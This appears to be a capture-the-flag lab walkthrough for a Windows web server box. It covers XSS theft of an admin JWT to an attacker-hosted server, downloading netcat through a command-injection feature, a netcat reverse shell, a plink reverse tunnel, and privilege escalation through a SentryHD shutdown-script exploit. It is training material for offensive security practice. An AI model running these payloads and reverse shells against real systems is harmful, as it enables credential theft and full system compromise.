Government Secrets DB

“A CTF Extravaganza” – WALKTHROUGH

This lab consists of 3 major steps:

1. Exploit web app via XSS to gain control of ‘Admin’ account
2. Gain unprivileged shell on Windows Web Server
3. Locally escalate privileges to obtain Administrator shell on Windows Web Server

RECON:

I simple Nmap scan will reveal that http is running on port 80. Open this up in the browser and you will find a very inviting webpage.

- ‘robots.txt’ exists and will give a hint on where to get the first flag

Note: This box is not ‘ping’-able. Windows 10 disables ping replies by default

FLAG 1:

1. Create user and log in. You are able to post comments and this field is vulnerable to XSS
2. With the knowledge that the ‘Admin’ is on currently and that users are authenticated via ‘jwt’ (stored in localStorage, you can craft an XSS attack to steal the ‘jwt’ of the ‘Admin’
    a. Launch an HTTP server on your own machine

    ```
    python -m SimpleHTTPServer
    ```

    (this command opens server on port 8000 by default)

    b. Inject JS into comment field that sends contents of ‘jwt’ field in localStorage to this server you set up

    ```
    <script>var xhttp = new XMLHttpRequest();
    xhttp.open('GET', 'http://[your_ip]:8000/?' + ‘jwt=’ +
    localStorage.jwt, true); xhttp.send();} </script>
    ```

    (XSS must all be on one line upon insertion)

    c. Add this ‘jwt’ to your localStorage and go to ‘/secret’. You can now view Flag 1 by clicking ‘GET FLAG’ button.

FLAG 2:

1. Now that you are ‘Admin’, you have access to the ‘System Call Submit’ feature. It is now time to get a shell! You will need netcat on both machines (web server does not have netcat installed currently)
2. Get netcat for windows. You need a windows executable of netcat that contains the -e option.
    a. This guy hooks it up: https://joncraton.org/blog/46/netcat-for-windows/
3. Get the ‘nc.exe’ file on the windows box.
    a. Host the directory that contains ‘nc.exe’ with that simpleHTTPServer method from earlier
    b. Use System Call Submit feature to have the web server grab this file from you

```
powershell -command "Invoke-WebRequest -UseBasicParsing -OutFile C:\Users\Public\nc.exe http://[your_ip]:8000/nc.exe"
```

(wget is a thing on powershell too. Makes command a lot shorter)

4. Start a netcat listener on **your machine**.

```
nc -lnvp 4444
```

5. Use System Call Submit feature to send a command prompt back to **your machine**

```
C:\Users\Public\nc.exe [your_ip] 4444 -e cmd.exe
```

6. You now have a shell! Flag 2 is located in C:\Users\uncle\

FLAG 3:

1. Now, our goal is to escalate our privileges to view the FLAG3.txt file in C:\Users\
   Take a look around. What kind of activity is going on our ports? What processes are running that aren’t installed on windows by default?
2. SentryHD is UPS manager and it is running on ports 81 and 444. SentryHD has an HMI that we want access too and it is what is being, but unfortunately these ports cannot be reached directly from our attacking machine.
    a. If you search for SentryHD online, you will find some exploit code in python 2. This is great news, but this machine only has python 3. You can spend your time

converting this code to python 3, or you can read the code and perform its steps manually.

i. https://www.exploit-db.com/exploits/41090

ii. If you decide to convert the python code, you will need to change the lines that create a new user to instead send back a shell via the netcat method from above instead. The following steps only apply to those who want to exploit this system manually.

3. We will need to create an SSH tunnel to forward port 81 of the webserver to an unused port on our attacking machine

a. Download an SSH client to the windows machine (I used plink.exe) using step 3 from the Flag 2 instructions

b. Make sure SSH is enabled on your machine and use the following command (in the webserver shell)

```
C:\Users\Public\plink.exe -R 4444:localhost:81 [your_ip]
```

c. You can now view the SentryHD HMI in your browser when you go to 'localhost:4444' Follow the exploit code from above for the rest of your steps ☺ You got this!

i. Summary of exploit:

1. Admin credentials are stored in plain text
2. This HMI allows you to specify a file to be executed at shutdown time
3. Specify a file and click shutdown, default time is 15 minutes so maybe make changes to the timer so you do not have to wait as long

ii. Instead of uploading a .bat file that creates a new user, upload one that sends you a reverse shell. SentryHD runs as Administrator and this will result in a privileged shell.

iii. Note: this exploit will shut down the whole system, so work quickly after executing

1. Understand the time limits that you are changing, maybe increase shutdown time and increase the amount of minutes BEFORE shutdown that the file is executed.